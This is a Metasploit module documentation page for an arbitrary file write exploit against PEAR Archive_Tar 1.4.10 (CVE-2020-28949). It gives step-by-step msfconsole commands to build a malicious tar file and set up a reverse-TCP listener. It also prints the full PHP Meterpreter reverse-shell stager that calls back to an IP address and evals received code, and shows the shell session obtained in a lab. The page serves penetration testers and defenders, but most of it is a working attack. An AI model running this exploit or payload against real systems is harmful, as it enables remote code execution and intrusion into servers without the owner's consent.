PEAR Archive_Tar 1.4.10 Arbitrary File Write - Metasploit
This page contains detailed information about how to use the exploit/multi/fileformat/archive_tar_arb_file_write metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: PEAR Archive_Tar 1.4.10 Arbitrary File Write
Module: exploit/multi/fileformat/archive_tar_arb_file_write
Source code: modules/exploits/multi/fileformat/archive_tar_arb_file_write.rb
Disclosure date: 2020-11-17
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): php
Supported platform(s): PHP
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2020-28949
This module takes advantages of Archive_Tar <= 1.4.10's lack of validation of file stream wrappers contained within filenames to write an arbitrary file containing user controlled content to an arbitrary file on disk. Note that the file will be written to disk with the permissions of the user that PHP is running as, so it may not be possible to overwrite some files if the PHP user is not appropriately privileged.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/multi/fileformat/archive_tar_arb_file_write
msf exploit(archive_tar_arb_file_write) > show targets
... a list of targets ...
msf exploit(archive_tar_arb_file_write) > set TARGET target-id
msf exploit(archive_tar_arb_file_write) > show options
... show and set options ...
msf exploit(archive_tar_arb_file_write) > exploit
Knowledge Base
Vulnerable Application
Archive_Tar is a plugin for the PEAR PHP development framework that allows developers the ability to create, delete, modify and extract files from TAR archives.
This module takes advantages of Archive_Tar < 1.4.11's lack of validation of file stream wrappers contained within filenames to write an arbitrary file containing user controlled content to an arbitrary file on disk. Note that the file will be written to disk with the permissions of the user that PHP is running as, so it may not be possible to overwrite some files if the PHP user is not appropriately privileged.
Verification Steps
- Install the PEAR framework using the instructions at https://pear.php.net/manual/en/installation.getting.php
- Verify the PEAR framework is working using the instructions at https://pear.php.net/manual/en/installation.checking.php
- Download the PoC files from the original advisory at https://github.com/pear/Archive_Tar/files/5551831/exploit.zip.
- Unzip the files to a sample directory
- Open up
msfconsole
. use exploit/multi/fileformat/archive_tar_arb_file_write
set FILENAME exploit.tar
set FILEPATH *path to the file to overwrite on the target system*
run
- Copy the generated
exploit.tar
file to thefile_proc
directory within the directory you expandedexploit.zip
to from earlier. - Run
php vulnerable.php
- Verify that the file was created in the location you specified in the
FILEPATH
parameter, with the contents of the PHP shell that you specified for thePAYLOAD
parameter.
Options
FILENAME
The name of the TAR file to be created locally
FILEPATH
The full path to the file on the target system that should be created or overwritten with the code for a PHP shell.
Scenarios
Archive_Tar v1.4.10
First create the malicious TAR file and set up the listener:
msf6 > use exploit/multi/fileformat/archive_tar_arb_file_write
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/fileformat/archive_tar_arb_file_write) > show options
Module options (exploit/multi/fileformat/archive_tar_arb_file_write):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME no The file name.
FILEPATH /tmp/msf.php yes The full path to the file to write on the target.
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.30.86.152 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
**DisablePayloadHandler: True (no handler will be created!)**
Exploit target:
Id Name
-- ----
0 Archive_Tar < 1.4.11
msf6 exploit(multi/fileformat/archive_tar_arb_file_write) > set FILENAME test.tar
FILENAME => test.tar
msf6 exploit(multi/fileformat/archive_tar_arb_file_write) > set FILEPATH /tmp/test.php
FILEPATH => /tmp/test.php
msf6 exploit(multi/fileformat/archive_tar_arb_file_write) > run
[*] Writing file: test.tar (3072 bytes) ...
[+] test.tar stored at /home/test/.msf4/local/test.tar
msf6 exploit(multi/fileformat/archive_tar_arb_file_write) > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 172.30.86.152
LHOST => 172.30.86.152
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 172.30.86.152:4444
Then copy the file over and into the expanded copy of https://github.com/pear/Archive_Tar/files/5551831/exploit.zip and run vulnerable.php to simulate an application opening a tar file and extracting its contents.
~/drupal/exploit/file_poc # ls
create_tar.py exploit.tar input_file.txt php_errors.log steps.sh vulnerable.php
~/drupal/exploit/file_poc # rm -rf exploit.tar
~/drupal/exploit/file_poc # cp /home/test/.msf4/local/test.tar exploit.tar
~/drupal/exploit/file_poc # ls -alh /tmp/test.php
ls: cannot access '/tmp/test.php': No such file or directory
~/drupal/exploit/file_poc # php vulnerable.php
~/drupal/exploit/file_poc # cat vulnerable.php
require_once('../Archive/Tar.php');
$archive = new Archive_Tar('exploit.tar');
$archive->extract();
~/drupal/exploit/file_poc ls -alh /tmp/test.php
-rw-rw-r-- 1 test test 1.1K Jan 15 17:54 /tmp/test.php
~/drupal/exploit/file_poc # cat /tmp/test.php
/* /**/ error_reporting(0); $ip = '172.30.86.152'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
Now we just have to run the PHP file to simulate a user browsing to the web page:
php /tmp/test.php
And the shell will be obtained:
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 172.30.86.152:4444
[*] Sending stage (39282 bytes) to 172.30.86.152
[*] Meterpreter session 2 opened (172.30.86.152:4444 -> 172.30.86.152:56754) at 2021-01-15 18:02:55 -0600
meterpreter > getuid
Server username: test (1000)
meterpreter > uname -a
[-] Unknown command: uname.
meterpreter > shell
Process 29349 created.
Channel 0 created.
uname -a
Linux test-Virtual-Machine 5.8.0-36-generic #40~20.04.1-Ubuntu SMP Wed Jan 6 10:15:55 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
Go back to menu.
Msfconsole Usage
Here is how the multi/fileformat/archive_tar_arb_file_write exploit module looks in the msfconsole:
msf6 > use exploit/multi/fileformat/archive_tar_arb_file_write
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/fileformat/archive_tar_arb_file_write) > show info
Name: PEAR Archive_Tar 1.4.10 Arbitrary File Write
Module: exploit/multi/fileformat/archive_tar_arb_file_write
Platform: PHP
Arch: php
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2020-11-17
Provided by:
gwillcox-r7
xorathustra
Available targets:
Id Name
-- ----
0 Archive_Tar <= 1.4.10
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME no The file name.
FILEPATH /tmp/msf.php yes The full path to the file to write on the target.
Payload information:
Description:
This module takes advantages of Archive_Tar <= 1.4.10's lack of
validation of file stream wrappers contained within filenames to
write an arbitrary file containing user controlled content to an
arbitrary file on disk. Note that the file will be written to disk
with the permissions of the user that PHP is running as, so it may
not be possible to overwrite some files if the PHP user is not
appropriately privileged.
References:
https://github.com/pear/Archive_Tar/issues/33
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28949
https://nvd.nist.gov/vuln/detail/CVE-2020-28949
Module Options
This is a complete list of options available in the multi/fileformat/archive_tar_arb_file_write exploit:
msf6 exploit(multi/fileformat/archive_tar_arb_file_write) > show options
Module options (exploit/multi/fileformat/archive_tar_arb_file_write):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME no The file name.
FILEPATH /tmp/msf.php yes The full path to the file to write on the target.
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
**DisablePayloadHandler: True (no handler will be created!)**
Exploit target:
Id Name
-- ----
0 Archive_Tar <= 1.4.10
Advanced Options
Here is a complete list of advanced options supported by the multi/fileformat/archive_tar_arb_file_write exploit:
msf6 exploit(multi/fileformat/archive_tar_arb_file_write) > show advanced
Module advanced options (exploit/multi/fileformat/archive_tar_arb_file_write):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler true no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/fileformat/archive_tar_arb_file_write module can exploit:
msf6 exploit(multi/fileformat/archive_tar_arb_file_write) > show targets
Exploit targets:
Id Name
-- ----
0 Archive_Tar <= 1.4.10
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/fileformat/archive_tar_arb_file_write exploit:
msf6 exploit(multi/fileformat/archive_tar_arb_file_write) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
4 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
5 payload/php/bind_perl normal No PHP Command Shell, Bind TCP (via Perl)
6 payload/php/bind_perl_ipv6 normal No PHP Command Shell, Bind TCP (via perl) IPv6
7 payload/php/bind_php normal No PHP Command Shell, Bind TCP (via PHP)
8 payload/php/bind_php_ipv6 normal No PHP Command Shell, Bind TCP (via php) IPv6
9 payload/php/download_exec normal No PHP Executable Download and Execute
10 payload/php/exec normal No PHP Execute Command
11 payload/php/meterpreter/bind_tcp normal No PHP Meterpreter, Bind TCP Stager
12 payload/php/meterpreter/bind_tcp_ipv6 normal No PHP Meterpreter, Bind TCP Stager IPv6
13 payload/php/meterpreter/bind_tcp_ipv6_uuid normal No PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support
14 payload/php/meterpreter/bind_tcp_uuid normal No PHP Meterpreter, Bind TCP Stager with UUID Support
15 payload/php/meterpreter/reverse_tcp normal No PHP Meterpreter, PHP Reverse TCP Stager
16 payload/php/meterpreter/reverse_tcp_uuid normal No PHP Meterpreter, PHP Reverse TCP Stager
17 payload/php/meterpreter_reverse_tcp normal No PHP Meterpreter, Reverse TCP Inline
18 payload/php/reverse_perl normal No PHP Command, Double Reverse TCP Connection (via Perl)
19 payload/php/reverse_php normal No PHP Command Shell, Reverse TCP (via PHP)
Evasion Options
Here is the full list of possible evasion options supported by the multi/fileformat/archive_tar_arb_file_write exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/fileformat/archive_tar_arb_file_write) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Related Pull Requests
- #14696 Merged Pull Request: Zeitwerk rex folder
- #14679 Merged Pull Request: Remove < character from Archive_Tar exploit module
- #14618 Merged Pull Request: Add exploit for CVE-2020-28949: Archive_Tar PEAR plugin arbitrary file write
References
- https://github.com/pear/Archive_Tar/issues/33
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28949
- CVE-2020-28949
See Also
Check also the following modules related to this module:
- exploit/multi/fileformat/adobe_u3d_meshcont
- exploit/multi/fileformat/evince_cbt_cmd_injection
- exploit/multi/fileformat/ghostscript_failed_restore
- exploit/multi/fileformat/js_unpacker_eval_injection
- exploit/multi/fileformat/libreoffice_logo_exec
- exploit/multi/fileformat/libreoffice_macro_exec
- exploit/multi/fileformat/maple_maplet
- exploit/multi/fileformat/nodejs_js_yaml_load_code_exec
- exploit/multi/fileformat/office_word_macro
- exploit/multi/fileformat/peazip_command_injection
- exploit/multi/fileformat/swagger_param_inject
- exploit/multi/fileformat/zip_slip
- exploit/linux/http/cpi_tararchive_upload
- exploit/linux/http/elfinder_archive_cmd_injection
- exploit/linux/http/rconfig_ajaxarchivefiles_rce
- exploit/osx/browser/safari_metadata_archive
- exploit/linux/http/lucee_admin_imgprocess_file_write
- exploit/windows/browser/mozilla_interleaved_write
- exploit/windows/ftp/quickshare_traversal_write
- exploit/windows/http/manageengine_connectionid_write
- exploit/windows/local/mqac_write
- exploit/windows/misc/solidworks_workgroup_pdmwservice_file_write
- auxiliary/dos/windows/smb/ms09_001_write
- auxiliary/dos/windows/tftp/pt360_write
- auxiliary/server/wget_symlink_file_write
- exploit/linux/local/netfilter_xtables_heap_oob_write_priv_esc
- exploit/windows/browser/chilkat_crypt_writefile
- exploit/windows/browser/hp_loadrunner_writefilebinary
- exploit/windows/browser/hp_loadrunner_writefilestring
- exploit/windows/http/oracle_btm_writetofile
- auxiliary/gather/apple_safari_webarchive_uxss
- exploit/multi/http/phpscheduleit_start_date
- exploit/multi/browser/opera_configoverwrite
Related Nessus plugins:
- Drupal 7.x < 7.75 / 8.x < 8.8.12 / 8.9.x < 8.9.10 / 9.0.x < 9.0.9 Multiple Vulnerabilities (SA-CORE-2020-013)
- Debian DLA-2466-1 : drupal7 security update
- Ubuntu 16.04 LTS / 18.04 LTS / 20.04 LTS / 20.10 : PEAR vulnerabilities (USN-4654-1)
- Fedora 32 : 1:php-pear (2020-5271a896ff)
- Fedora 33 : 1:php-pear (2020-f351eb14e3)
- Fedora 33 : drupal8 (2020-6f1079934c)
- Fedora 32 : drupal8 (2020-d50d74d6f2)
- Debian DSA-4817-1 : php-pear - security update
- Amazon Linux 2 : php-pear (ALAS-2021-1584)
- Amazon Linux AMI : php7-pear (ALAS-2021-1466)
Authors
- gwillcox-r7
- xorathustra
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.